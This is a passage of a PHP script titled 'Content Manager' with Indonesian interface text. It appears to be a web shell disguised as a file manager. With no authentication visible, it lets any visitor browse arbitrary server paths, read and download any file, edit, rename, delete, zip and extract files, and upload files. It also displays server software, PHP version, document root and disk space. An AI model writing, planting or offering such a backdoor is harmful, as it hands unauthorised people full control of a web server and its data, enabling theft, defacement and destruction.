$__ext = strtolower(pathinfo($__f, PATHINFO_EXTENSION)); if (is_file($__f) && isset($__mimes[$__ext])) { @session_start(); $_SESSION['visited'][$__f] = true; session_write_close(); ob_end_clean(); $__size = @filesize($__f); header('Content-Type: ' . $__mimes[$__ext]); header('Content-Length: ' . $__size); header('Accept-Ranges: bytes'); header('Cache-Control: max-age=3600'); if (isset($_SERVER['HTTP_RANGE'])) { $__range = str_replace('bytes=', '', $_SERVER['HTTP_RANGE']); $__parts = explode('-', $__range); $__start = intval($__parts[0]); $__end = (isset($__parts[1]) && $__parts[1] !== '') ? intval($__parts[1]) : $__size - 1; $__len = $__end - $__start + 1; header('HTTP/1.1 206 Partial Content'); header("Content-Range: bytes $__start-$__end/$__size"); header('Content-Length: ' . $__len); $__fp = fopen($__f, 'rb'); fseek($__fp, $__start); echo fread($__fp, $__len); fclose($__fp); } else { readfile($__f); } exit; } ob_end_clean(); header('HTTP/1.1 404 Not Found'); echo 'File not found'; exit; } if (isset($_GET['download'])) { $__f = $_GET['download']; if (is_file($__f)) { @session_start(); $_SESSION['visited'][$__f] = true; session_write_close(); ob_end_clean(); header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($__f) . '"'); header('Content-Length: ' . @filesize($__f)); readfile($__f); exit; } ob_end_clean(); header('HTTP/1.1 404 Not Found'); echo 'File not found'; exit; } } @set_time_limit(300); @ini_set('memory_limit', '256M'); @session_start(); $path = isset($_GET['path']) ? $_GET['path'] : getcwd(); $path = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $path); $sort = isset($_GET['sort']) ? $_GET['sort'] : 'name'; $order = isset($_GET['order']) ? $_GET['order'] : 'asc'; $validSorts = ['name','size','modified','chmod']; if (!in_array($sort, $validSorts)) $sort = 'name'; if ($order !== 'asc' && $order !== 'desc') $order = 'asc'; $sortQuery = ($sort !== 'name' || $order !== 'asc') ? '&sort=' . urlencode($sort) . '&order=' . urlencode($order) : ''; if (!isset($_SESSION['visited'])) $_SESSION['visited'] = []; $_SESSION['visited'][$path] = true; function formatSize($bytes) { if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; if ($bytes > 1) return $bytes . ' bytes'; if ($bytes == 1) return '1 byte'; return '0 bytes'; } function getDirSize($dirPath, $maxFiles = 3000) { $size = 0; $count = 0; $stack = [$dirPath]; while (!empty($stack) && $count < $maxFiles) { $dir = array_pop($stack); $items = @scandir($dir); if (!is_array($items)) continue; foreach (array_diff($items, ['.','..']) as $item) { $p = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($p)) { $stack[] = $p; } else { $s = @filesize($p); if ($s !== false) $size += $s; $count++; if ($count >= $maxFiles) break; } } } return ['size' => $size, 'approx' => ($count >= $maxFiles)]; } function isArchive($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (preg_match('/\.(tar\.(gz|bz2|xz))$/i', $filename)) return true; return in_array($ext, ['zip','rar','tar','gz','bz2','xz','7z','tgz']); } function getMediaType($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $map = [ 'image' => ['jpg','jpeg','png','gif','webp','bmp','svg','ico','tiff','tif'], 'video' => ['mp4','webm','mov','avi','mkv','ogv','m4v'], 'audio' => ['mp3','wav','ogg','flac','aac','m4a','wma','opus'], ]; foreach ($map as $type => $exts) { if (in_array($ext, $exts)) return $type; } return false; } function getMimeType($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $mimes = [ 'jpg'=>'image/jpeg','jpeg'=>'image/jpeg','png'=>'image/png','gif'=>'image/gif', 'webp'=>'image/webp','bmp'=>'image/bmp','svg'=>'image/svg+xml','ico'=>'image/x-icon', 'tiff'=>'image/tiff','tif'=>'image/tiff', 'mp4'=>'video/mp4','webm'=>'video/webm','mov'=>'video/quicktime', 'avi'=>'video/x-msvideo','mkv'=>'video/x-matroska','ogv'=>'video/ogg','m4v'=>'video/mp4', 'mp3'=>'audio/mpeg','wav'=>'audio/wav','ogg'=>'audio/ogg','flac'=>'audio/flac', 'aac'=>'audio/aac','m4a'=>'audio/mp4','wma'=>'audio/x-ms-wma','opus'=>'audio/opus', ]; return isset($mimes[$ext]) ? $mimes[$ext] : 'application/octet-stream'; } function extractArchive($filepath, $destination) { @set_time_limit(300); if (!file_exists($filepath)) return ['success'=>false,'message'=>'File archive tidak ditemukan.']; if (!is_dir($destination)) { if (!@mkdir($destination, 0755, true)) return ['success'=>false,'message'=>'Gagal membuat folder tujuan.']; } $filename = basename($filepath); $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if ($ext === 'zip') { if (class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($filepath) === TRUE) { $zip->extractTo($destination); $zip->close(); return ['success'=>true,'message'=>'ZIP berhasil diekstrak.']; } return ['success'=>false,'message'=>'Gagal membuka file ZIP.']; } return ['success'=>false,'message'=>'ZipArchive tidak tersedia.']; } if (preg_match('/\.(tar\.gz|tgz)$/i', $filename)) { if (class_exists('PharData')) { try { $phar = new PharData($filepath); $phar->decompress(); $tarFile = preg_replace('/\.(tar\.gz|tgz)$/i', '.tar', $filepath); if (file_exists($tarFile)) { $tar = new PharData($tarFile); $tar->extractTo($destination, null, true); @unlink($tarFile); return ['success'=>true,'message'=>'TAR.GZ berhasil diekstrak.']; } } catch (Exception $e) { return ['success'=>false,'message'=>'Gagal: '.$e->getMessage()]; } } return ['success'=>false,'message'=>'PharData tidak tersedia.']; } if ($ext === 'tar') { if (class_exists('PharData')) { try { $tar = new PharData($filepath); $tar->extractTo($destination, null, true); return ['success'=>true,'message'=>'TAR berhasil diekstrak.']; } catch (Exception $e) { return ['success'=>false,'message'=>'Gagal: '.$e->getMessage()]; } } return ['success'=>false,'message'=>'PharData tidak tersedia.']; } if ($ext === 'rar') { if (class_exists('RarArchive')) { $rar = @RarArchive::open($filepath); if ($rar !== false) { $entries = $rar->getEntries(); if ($entries !== false) { foreach ($entries as $entry) $entry->extract($destination); $rar->close(); return ['success'=>true,'message'=>'RAR berhasil diekstrak.']; } $rar->close(); return ['success'=>false,'message'=>'Gagal membaca isi RAR.']; } } return ['success'=>false,'message'=>'RarArchive tidak tersedia.']; } return ['success'=>false,'message'=>'Format tidak didukung.']; } function getPerms($filepath) { $p = @fileperms($filepath); if ($p === false) return '----------'; $info = ''; if (($p & 0xC000) == 0xC000) $info = 's'; elseif (($p & 0xA000) == 0xA000) $info = 'l'; elseif (($p & 0x8000) == 0x8000) $info = '-'; elseif (($p & 0x6000) == 0x6000) $info = 'b'; elseif (($p & 0x4000) == 0x4000) $info = 'd'; elseif (($p & 0x2000) == 0x2000) $info = 'c'; elseif (($p & 0x1000) == 0x1000) $info = 'p'; else $info = 'u'; $info .= (($p & 0x0100) ? 'r' : '-'); $info .= (($p & 0x0080) ? 'w' : '-'); $info .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-')); $info .= (($p & 0x0020) ? 'r' : '-'); $info .= (($p & 0x0010) ? 'w' : '-'); $info .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-')); $info .= (($p & 0x0004) ? 'r' : '-'); $info .= (($p & 0x0002) ? 'w' : '-'); $info .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-')); return $info; } function getOctal($filepath) { $p = @fileperms($filepath); if ($p === false) return '0000'; return substr(sprintf('%o', $p), -4); } function deleteDir($dirPath) { if (!is_dir($dirPath)) return false; $items = @scandir($dirPath); if (is_array($items)) { foreach (array_diff($items, ['.','..']) as $item) { $p = $dirPath . DIRECTORY_SEPARATOR . $item; is_dir($p) ? deleteDir($p) : @unlink($p); } } return @rmdir($dirPath); } function copyItem($source, $dest) { if (is_file($source)) return @copy($source, $dest); if (!is_dir($dest)) @mkdir($dest, 0755, true); $items = @scandir($source); if (!is_array($items)) return false; foreach (array_diff($items, ['.','..']) as $item) { copyItem($source . DIRECTORY_SEPARATOR . $item, $dest . DIRECTORY_SEPARATOR . $item); } return true; } function getEnvInfo() { return [ 'software' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'N/A', 'php_ver' => phpversion(), 'host' => isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'N/A'), 'docroot' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : 'N/A', 'free_space' => function_exists('disk_free_space') ? formatSize(@disk_free_space('/')) : 'N/A', 'total_space' => function_exists('disk_total_space') ? formatSize(@disk_total_space('/')) : 'N/A', ]; } function jsSafe($str) { return htmlspecialchars(addslashes($str), ENT_QUOTES, 'UTF-8'); } function h($str) { return htmlspecialchars($str, ENT_QUOTES, 'UTF-8'); } function isVisited($filepath) { return isset($_SESSION['visited'][$filepath]); } function sortLink($col, $label, $curSort, $curOrder, $path) { $newOrder = ($curSort === $col && $curOrder === 'asc') ? 'desc' : 'asc'; $arrow = ''; if ($curSort === $col) $arrow = ($curOrder === 'asc') ? ' ▲' : ' ▼'; return "<a href='?path=" . urlencode($path) . "&sort=$col&order=$newOrder' style='color:#b388ff;text-decoration:none;white-space:nowrap;'>$label$arrow</a>"; } function sortItems($items, $sort, $order) { usort($items, function($a, $b) use ($sort, $order) { switch ($sort) { case 'size': $cmp = $a['raw_size'] - $b['raw_size']; break; case 'modified': $cmp = $a['mtime'] - $b['mtime']; break; case 'chmod': $cmp = strcmp($a['octal'], $b['octal']); break; default: $cmp = strnatcasecmp($a['name'], $b['name']); } return ($order === 'desc') ? -$cmp : $cmp; }); return $items; } // Media & download handlers are at the top of the file $selfUrl = htmlspecialchars($_SERVER['SCRIPT_NAME'], ENT_QUOTES, 'UTF-8'); $message = ""; $action = isset($_POST['action']) ? $_POST['action'] : ''; $clipboard = isset($_SESSION['clipboard']) ? $_SESSION['clipboard'] : []; $clipboard_count = count($clipboard); // --- ACTION LOGIC --- if ($action === 'create_file') { $fname = $_POST['new_item_name']; if (!empty($fname)) { $fpath = $path . DIRECTORY_SEPARATOR . $fname; if (!file_exists($fpath)) { @file_put_contents($fpath, ''); $message = "File $fname berhasil dibuat."; } else { $message = "ERR: File sudah ada."; } } } elseif ($action === 'create_folder') { $fname = $_POST['new_item_name']; if (!empty($fname)) { $fpath = $path . DIRECTORY_SEPARATOR . $fname; if (!file_exists($fpath)) { @mkdir($fpath, 0755, true); $message = "Folder $fname berhasil dibuat."; } else { $message = "ERR: Folder sudah ada."; } } } elseif ($action === 'delete') { $target = $_POST['target']; if (file_exists($target)) { is_dir($target) ? deleteDir($target) : @unlink($target); $message = "Item berhasil dihapus."; } } elseif ($action === 'mass_action') { $mass_type = isset($_POST['mass_type']) ? $_POST['mass_type'] : ''; $selected = isset($_POST['selected']) ? $_POST['selected'] : []; if (!empty($selected) && $mass_type === 'delete') { $count = 0; foreach ($selected as $t) { if (file_exists($t)) { is_dir($t) ? deleteDir($t) : @unlink($t); $count++; } } $message = "$count item berhasil dihapus."; } elseif (!empty($selected) && $mass_type === 'copy') { $_SESSION['clipboard'] = $selected; $clipboard = $selected; $clipboard_count = count($selected); $message = "$clipboard_count item disalin ke clipboard."; } elseif (!empty($selected) && $mass_type === 'zip') { if (class_exists('ZipArchive')) { $zipName = 'archive_' . date('Ymd_His') . '.zip'; $zipPath = $path . DIRECTORY_SEPARATOR . $zipName; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { $count = 0; foreach ($selected as $item) { if (!file_exists($item)) continue; if (is_file($item)) { $zip->addFile($item, basename($item)); $count++; } elseif (is_dir($item)) { $dirName = basename($item); $zip->addEmptyDir($dirName); $rii = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($item, RecursiveDirectoryIterator::SKIP_DOTS)); foreach ($rii as $f) { $fp = $f->getRealPath(); $rp = $dirName . DIRECTORY_SEPARATOR . substr($fp, strlen(realpath($item)) + 1); $f->isDir() ? $zip->addEmptyDir($rp) : $zip->addFile($fp, $rp); } $count++; } } $zip->close(); $message = "$count item di-ZIP menjadi $zipName"; } else { $message = "ERR: Gagal membuat file ZIP."; } } else { $message = "ERR: ZipArchive tidak tersedia."; } } } elseif ($action === 'paste') { if (!empty($clipboard)) { $count = 0; $skipped = 0; foreach ($clipboard as $source) { if (!file_exists($source)) continue; $destName = basename($source); $dest = $path . DIRECTORY_SEPARATOR . $destName; if (realpath($source) === realpath($dest)) { $skipped++; continue; } if (file_exists($dest)) { $info = pathinfo($destName); $base = isset($info['filename']) ? $info['filename'] : $destName; $ext = isset($info['extension']) ? '.' . $info['extension'] : ''; $destName = $base . '_copy' . $ext; $dest = $path . DIRECTORY_SEPARATOR . $destName; } if (copyItem($source, $dest)) $count++; } $_SESSION['clipboard'] = []; $clipboard = []; $clipboard_count = 0; $msg = "$count item berhasil di-paste."; if ($skipped > 0) $msg .= " ($skipped dilewati - lokasi sama)"; $message = $msg; } } elseif ($action === 'clear_clipboard') { $_SESSION['clipboard'] = []; $clipboard = []; $clipboard_count = 0; $message = "Clipboard dikosongkan."; } elseif ($action === 'save_edit') { $target = $_POST['target']; $_SESSION['visited'][$target] = true; if (file_put_contents($target, $_POST['edit_content']) !== false) { $message = "File berhasil diperbarui."; } else { $message = "ERR: Gagal menyimpan - periksa izin tulis."; } } elseif ($action === 'save_rename') { $target = $_POST['target']; $new_name = $_POST['new_name']; $new_path = dirname($target) . DIRECTORY_SEPARATOR . $new_name; if (@rename($target, $new_path)) { $message = "Nama berhasil diubah."; } else { $message = "ERR: Gagal mengubah nama."; } } elseif ($action === 'extract' || $action === 'extract_here') { $target = $_POST['target']; if (file_exists($target) && is_file($target)) { if ($action === 'extract_here') { $dest_path = dirname($target); } else { $base_name = basename($target); $dest_name = preg_replace('/\.(zip|rar|tar\.gz|tar\.bz2|tar\.xz|tgz|tar|gz|bz2|xz|7z)$/i', '', $base_name); if ($dest_name === $base_name) $dest_name = $base_name . '_extracted'; $dest_path = dirname($target) . DIRECTORY_SEPARATOR . $dest_name; if (is_dir($dest_path)) $dest_path .= '_' . date('YmdHis'); } $result = extractArchive($target, $dest_path); $label = ($action === 'extract_here') ? ' (Here)' : ' (Files)'; $message = ($result['success'] ? "OK: " : "ERR: ") . $result['message'] . $label; } } elseif ($action === 'edit' && isset($_POST['target'])) { $_SESSION['visited'][$_POST['target']] = true; } elseif ($action === 'rename' && isset($_POST['target'])) { $_SESSION['visited'][$_POST['target']] = true; } // Handle multi-file upload if (isset($_FILES['upload_files']) && is_array($_FILES['upload_files']['name'])) { $count = 0; $total = count($_FILES['upload_files']['name']); for ($i = 0; $i < $total; $i++) { if ($_FILES['upload_files']['error'][$i] !== UPLOAD_ERR_OK) continue; $relativePath = isset($_FILES['upload_files']['full_path'][$i]) ? $_FILES['upload_files']['full_path'][$i] : $_FILES['upload_files']['name'][$i]; $relativePath = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $relativePath); $targetPath = $path . DIRECTORY_SEPARATOR . $relativePath; $targetDir = dirname($targetPath); if (!is_dir($targetDir)) @mkdir($targetDir, 0755, true); if (move_uploaded_file($_FILES['upload_files']['tmp_name'][$i], $targetPath)) $count++; } if ($count > 0) $message = "$count file berhasil diunggah."; else $message = "ERR: Gagal mengunggah file."; } $env = getEnvInfo(); ob_end_flush(); ?> <!DOCTYPE html> <html> <head> <title>Content Manager</title> <style> *{box-sizing:border-box;margin:0;padding:0} body{font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;background:#0a0a0a;color:#e0e0e0;padding:20px} a{color:#00bcd4;text-decoration:none} a:hover{text-decoration:underline} .header-title{color:#b388ff;font-size:20px;margin-bottom:5px;letter-spacing:.5px} .header-title span{font-size:11px;color:#555} .info-box{background:linear-gradient(135deg,#111,#1a1a2e);border:1px solid #2a2a3e;border-radius:8px;padding:15px 20px;margin:15px 0;font-family:'Consolas','Courier New',monospace;font-size:12.5px;line-height:1.9;box-shadow:0 4px 10px rgba(0,0,0,.5)} .info-box .info-label{color:#b388ff;font-weight:bold} .info-box .info-value{color:#80cbc4} .info-box .info-sep{color:#444;margin:0 6px} .current-path{background:#111;border:1px solid #222;border-radius:5px;padding:12px 15px;margin:10px 0 15px;font-family:'Consolas',monospace;font-size:14px} .current-path .label{color:#888;margin-right:5px} .path-link{color:#00bcd4;font-weight:bold;padding:2px 0;border-radius:3px;transition:.2s} .path-link:hover{background:#222;color:#b388ff;text-decoration:none} .path-sep{color:#555;margin:0 2px} .toolbar{background:#151515;padding:12px 15px;border-radius:5px;border:1px solid #222;margin-bottom:15px;display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap;gap:10px} .alert{background:#0d1f0d;color:#4caf50;padding:12px 15px;border-left:4px solid #4caf50;margin-bottom:15px;border-radius:0 5px 5px 0;font-size:13px;font-weight:bold} .alert-error{background:#1f0d0d;color:#ef5350;border-left-color:#ef5350} table{width:100%;border-collapse:collapse;margin-top:5px;background:#111;border-radius:8px;overflow:hidden;box-shadow:0 4px 15px rgba(0,0,0,.3)} th{padding:12px 14px;text-align:left;background:#1a1a2e;color:#b388ff;border-bottom:2px solid #b388ff;font-size:13px;text-transform:uppercase;letter-spacing:.5px;user-select:none} th a{color:#b388ff!important} td{padding:10px 14px;border-bottom:1px solid #1a1a1a;font-size:13px} tr:hover{background:#161625} tr:last-child td{border-bottom:none} .dir-writable{color:#66bb6a;font-weight:bold} .dir-readonly{color:#ef5350;font-weight:bold} .dir-visited{color:#b388ff!important;font-weight:bold} .file-name{color:#ccc} .file-visited{color:#b388ff!important} .file-media{color:#80cbc4;cursor:pointer;transition:.15s} .file-media:hover{color:#b388ff;text-decoration:underline} .file-media.visited{color:#ce93d8} .perm-badge{font-family:'Consolas',monospace;font-size:12px;padding:2px 8px;border-radius:3px;display:inline-block} .perm-rw{background:#0d2d1a;color:#66bb6a;border:1px solid rgba(102,187,106,.3)} .perm-ro{background:#2d0d0d;color:#ef5350;border:1px solid rgba(239,83,80,.3)} .perm-octal{color:#888;font-size:11px;margin-left:6px} .btn{padding:5px 12px;background:#222;color:#ccc;border-radius:4px;font-size:12px;border:1px solid #333;cursor:pointer;display:inline-block;transition:all .15s;letter-spacing:.5px} .btn:hover{background:#333;border-color:#00bcd4;color:#fff;text-decoration:none} .btn-danger{color:#ef5350;border-color:#441111} .btn-danger:hover{background:#441111;border-color:#ef5350} .btn-primary{background:#1a1a2e;border:1px solid #b388ff;color:#b388ff;font-weight:bold} .btn-primary:hover{background:#b388ff;color:#000} .btn-save{background:#2e7d32;border:none;color:#fff;font-weight:bold} .btn-save:hover{background:#388e3c} .btn-extract{color:#ffb74d;border-color:#443311} .btn-extract:hover{background:#443311;border-color:#ffb74d;color:#ffb74d} .btn-paste{background:#1a2e1a;border:1px solid #66bb6a;color:#66bb6a;font-weight:bold} .btn-paste:hover{background:#66bb6a;color:#000} .btn-clipboard-clear{color:#888;border-color:#333;font-size:11px;padding:4px 8px} textarea{width:100%;height:500px;background:#050505;color:#66bb6a;font-family:'Consolas',monospace;padding:15px;border:1px solid #2a2a2a;border-radius:5px;line-height:1.6;resize:vertical;box-shadow:inset 0 0 10px rgba(0,0,0,.8)} input[type="text"]{background:#1a1a1a;color:#fff;border:1px solid #333;padding:6px 10px;border-radius:4px;font-family:'Consolas',monospace} input[type="checkbox"]{accent-color:#b388ff;transform:scale(1.2);cursor:pointer} .footer{margin-top:30px;padding-top:15px;border-top:1px solid #1a1a1a;text-align:center;font-size:11px;color:#444;letter-spacing:1px} .extract-dropdown{position:relative;display:inline-block} .extract-dropdown .extract-menu{display:none;position:absolute;bottom:100%;left:0;background:#1a1a1a;border:1px solid #444;border-radius:5px;min-width:170px;box-shadow:0 -4px 15px rgba(0,0,0,.5);z-index:100;overflow:hidden;margin-bottom:4px} .extract-dropdown:hover .extract-menu,.extract-dropdown:focus-within .extract-menu{display:block} .extract-menu-item{display:block;width:100%;padding:9px 14px;background:none;border:none;color:#ccc;font-size:12px;text-align:left;cursor:pointer;transition:.15s;font-family:'Segoe UI',Tahoma,sans-serif} .extract-menu-item:hover{background:#2a2a3e;color:#ffb74d} .extract-menu-item+.extract-menu-item{border-top:1px solid #2a2a2a} .modal-overlay{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.92);z-index:9999;justify-content:center;align-items:center;flex-direction:column} .modal-overlay.active{display:flex} .modal-close{position:absolute;top:15px;right:25px;font-size:36px;color:#fff;cursor:pointer;z-index:10001;line-height:1;transition:.2s;background:none;border:none} .modal-close:hover{color:#ef5350;transform:scale(1.2)} .modal-filename{color:#b388ff;font-size:14px;margin-bottom:15px;font-family:'Consolas',monospace;max-width:90%;text-align:center;word-break:break-all} .modal-content{max-width:90vw;max-height:80vh;display:flex;justify-content:center;align-items:center;flex-direction:column} .modal-content img{max-width:90vw;max-height:78vh;object-fit:contain;border-radius:6px;box-shadow:0 4px 30px rgba(0,0,0,.5)} .modal-content video{max-width:90vw;max-height:78vh;border-radius:6px;outline:none;box-shadow:0 4px 30px rgba(0,0,0,.5)} .modal-content audio{width:400px;max-width:90vw} .audio-art{width:200px;height:200px;background:linear-gradient(135deg,#1a1a2e,#2a1a3e);border-radius:50%;display:flex;justify-content:center;align-items:center;margin-bottom:25px;box-shadow:0 4px 30px rgba(179,136,255,.2);animation:audioPulse 2s ease-in-out infinite} .audio-art-icon{font-size:64px;opacity:.7} @keyframes audioPulse{0%,100%{transform:scale(1);box-shadow:0 4px 30px rgba(179,136,255,.2)}50%{transform:scale(1.04);box-shadow:0 4px 40px rgba(179,136,255,.35)}} .modal-nav{display:flex;gap:12px;margin-top:15px} .modal-nav button{padding:8px 20px;background:#222;color:#ccc;border:1px solid #444;border-radius:4px;cursor:pointer;font-size:13px;transition:.15s} .modal-nav button:hover{background:#333;border-color:#b388ff;color:#fff} .clipboard-badge{display:inline-block;background:#1a2e1a;color:#66bb6a;padding:4px 10px;border-radius:4px;font-size:12px;border:1px solid rgba(102,187,106,.3);font-family:'Consolas',monospace} .upload-zone{display:flex;gap:8px;align-items:center;flex-wrap:wrap} .upload-zone label{padding:5px 14px;background:#1a1a2e;border:1px solid #b388ff;color:#b388ff;border-radius:4px;font-size:12px;cursor:pointer;font-weight:bold;transition:all .15s;letter-spacing:.5px} .upload-zone label:hover{background:#b388ff;color:#000} .upload-count{color:#80cbc4;font-size:12px;font-family:'Consolas',monospace} .approx-size{color:#888;font-style:italic} </style> </head> <body> <div class="modal-overlay" id="mediaModal"> <button class="modal-close" onclick="closePreview()">×</button> <div class="modal-filename" id="modalFilename"></div> <div class="modal-content" id="modalContent"></div> <div class="modal-nav" id="modalNav"> <button onclick="navigateMedia(-1)">◀ Prev</button> <button onclick="navigateMedia(1)">Next ▶</button> </div> </div> <script> var mediaFiles=[]; var currentMediaIndex=-1; var scriptUrl='<?php echo $selfUrl; ?>'; function openPreview(filepath,mediaType,filename){ var modal=document.getElementById('mediaModal'); var content=document.getElementById('modalContent'); var fname=document.getElementById('modalFilename'); var nav=document.getElementById('modalNav'); fname.textContent=filename; content.innerHTML=''; var src=scriptUrl+'?media='+encodeURIComponent(filepath); if(mediaType==='image'){ var img=document.createElement('img'); img.src=src; img.alt=filename; img.onerror=function(){this.alt='Cannot load: '+filename;this.style.padding='40px';this.style.color='#ef5350';this.style.fontSize='16px';}; content.appendChild(img); }else if(mediaType==='video'){ var vid=document.createElement('video'); vid.src=src;vid.controls=true;vid.autoplay=true;vid.preload='metadata'; content.appendChild(vid); }else if(mediaType==='audio'){ var art=document.createElement('div');art.className='audio-art'; art.innerHTML='<span class="audio-art-icon">♫</span>';content.appendChild(art); var aud=document.createElement('audio'); aud.src=src;aud.controls=true;aud.autoplay=true;aud.style.display='block';aud.style.marginTop='15px'; content.appendChild(aud); } nav.style.display=(mediaFiles.length>1)?'flex':'none'; modal.classList.add('active'); document.body.style.overflow='hidden'; } function closePreview(){ var modal=document.getElementById('mediaModal'); var content=document.getElementById('modalContent'); content.querySelectorAll('video').forEach(function(v){v.pause()}); content.querySelectorAll('audio').forEach(function(a){a.pause()}); modal.classList.remove('active'); document.body.style.overflow=''; } function navigateMedia(dir){ if(!mediaFiles.length)return; currentMediaIndex+=dir; if(currentMediaIndex<0)currentMediaIndex=mediaFiles.length-1; if(currentMediaIndex>=mediaFiles.length)currentMediaIndex=0; var m=mediaFiles[currentMediaIndex]; openPreview(m.path,m.type,m.name); } document.addEventListener('keydown',function(e){ if(!document.getElementById('mediaModal').classList.contains('active'))return; if(e.key==='Escape')closePreview(); if(e.key==='ArrowLeft')navigateMedia(-1); if(e.key==='ArrowRight')navigateMedia(1); }); var currentPath='<?php echo urlencode($path); ?>'; var sortQuery='<?php echo $sortQuery; ?>'; function doAction(action,target){ if(action==='delete'&&!confirm('Hapus item ini secara permanen?\n'+target))return; var f=document.createElement('form');f.method='POST'; f.action='?path='+currentPath+sortQuery; var a=document.createElement('input');a.type='hidden';a.name='action';a.value=action;f.appendChild(a); var t=document.createElement('input');t.type='hidden';t.name='target';t.value=target;f.appendChild(t); document.body.appendChild(f);f.submit(); } function doExtract(mode,target){ var label=(mode==='extract')?'Extract Files (ke subfolder)':'Extract Here (ke folder ini)'; if(!confirm(label+'?\n'+target))return; doAction(mode,target); } function showPrompt(action,msg){ var name=prompt(msg); if(name){ var f=document.createElement('form');f.method='POST'; f.action='?path='+currentPath+sortQuery; var a=document.createElement('input');a.type='hidden';a.name='action';a.value=action;f.appendChild(a); var t=document.createElement('input');t.type='hidden';t.name='new_item_name';t.value=name;f.appendChild(t); document.body.appendChild(f);f.submit(); } } function toggleAll(source){ var cb=document.getElementsByName('selected[]'); for(var i=0;i<cb.length;i++)cb[i].checked=source.checked; } function confirmMassAction(){ var sel=document.querySelector('select[name="mass_type"]'); if(!sel.value){alert('Pilih aksi terlebih dahulu.');return false;} var checked=document.querySelectorAll('input[name="selected[]"]:checked'); if(checked.length===0){alert('Pilih minimal 1 item.');return false;} var labels={'delete':'HAPUS','copy':'COPY','zip':'ZIP'}; return confirm((labels[sel.value]||sel.value)+' '+checked.length+' item yang dipilih?'); } function updateUploadCount(input,counterId){ var el=document.getElementById(counterId); if(input.files.length>0){ el.textContent=input.files.length+' file dipilih'; el.style.display='inline'; }else{el.style.display='none';} } </script> <h2 class="header-title">Content Manager <span>[v5]</span></h2> <div class="info-box"> <span class="info-label">Software</span><span class="info-sep">:</span> <span class="info-value"><?=h($env['software'])?></span> <span class="info-sep">|</span> <span class="info-label">PHP</span><span class="info-sep">:</span> <span class="info-value"><?=h($env['php_ver'])?></span> <span class="info-sep">|</span> <span class="info-label">Host</span><span class="info-sep">:</span> <span class="info-value"><?=h($env['host'])?></span><br> <span class="info-label">DocRoot</span><span class="info-sep">:</span> <span class="info-value"><?=h($env['docroot'])?></span> <span class="info-sep">|</span> <span class="info-label">Free</span><span class="info-sep">:</span> <span class="info-value"><?=h($env['free_space'])?></span> <span class="info-sep">/</span> <span class="info-value"><?=h($env['total_space'])?></span> </div> <?php $clickable_path = ''; $p = ''; $path_parts = explode(DIRECTORY_SEPARATOR, rtrim($path, DIRECTORY_SEPARATOR)); foreach ($path_parts as $i => $part) { if ($part === '') { if ($i === 0 && DIRECTORY_SEPARATOR === '/') { $p = '/'; $clickable_path .= "<a href='?path=/$sortQuery' class='path-link'>/</a>"; } continue; } $p .= ($p === '/' || $p === '') ? $part : DIRECTORY_SEPARATOR . $part; $clickable_path .= "<a href='?path=" . urlencode($p) . $sortQuery . "' class='path-link'>" . h($part) . "</a><span class='path-sep'>/</span>"; } ?> <div class="current-path"> <span class="label">Path:</span> <span class="value"><?=$clickable_path?></span> <?php if (is_writable($path)) echo ' <span style="color:#66bb6a;font-size:11px;float:right;margin-top:2px;">[Writable]</span>'; else echo ' <span style="color:#ef5350;font-size:11px;float:right;margin-top:2px;">[Read-Only]</span>'; ?> </div> <?php if ($message) { $cls = (strpos($message, 'ERR:') !== false) ? 'alert alert-error' : 'alert'; echo "<div class='$cls'>" . h($message) . "</div>"; } ?> <!-- TOOLBAR --> <div class="toolbar"> <div style="display:flex;gap:10px;align-items:center;flex-wrap:wrap;"> <button type="button" class="btn btn-primary" onclick="showPrompt('create_file','Nama File Baru:')">New File</button> <button type="button" class="btn btn-primary" onclick="showPrompt('create_folder','Nama Folder Baru:')">New Folder</button> <?php if ($clipboard_count > 0): ?> <form method="POST" style="display:inline;margin:0;"> <input type="hidden" name="action" value="paste"> <button type="submit" class="btn btn-paste" onclick="return confirm('Paste <?=$clipboard_count?> item ke folder ini?');">Paste (<?=$clipboard_count?>)</button> </form> <form method="POST" style="display:inline;margin:0;"> <input type="hidden" name="action" value="clear_clipboard"> <button type="submit" class="btn btn-clipboard-clear">Clear Clipboard</button> </form> <?php endif; ?> </div> <div style="display:flex;gap:8px;align-items:center;flex-wrap:wrap;"> <?php if ($clipboard_count > 0): ?> <span class="clipboard-badge">Clipboard: <?=$clipboard_count?> item</span> <?php endif; ?> <form method="POST" enctype="multipart/form-data" id="uploadForm" class="upload-zone"> <input type="file" name="upload_files[]" id="multiFileInput" multiple style="display:none" onchange="updateUploadCount(this,'fileCount');document.getElementById('uploadForm').submit();"> <input type="file" name="upload_folder[]" id="folderInput" webkitdirectory style="display:none" onchange="updateUploadCount(this,'folderCount');this.name='upload_files[]';document.getElementById('uploadForm').submit();"> <label for="multiFileInput">Upload Files</label> <label 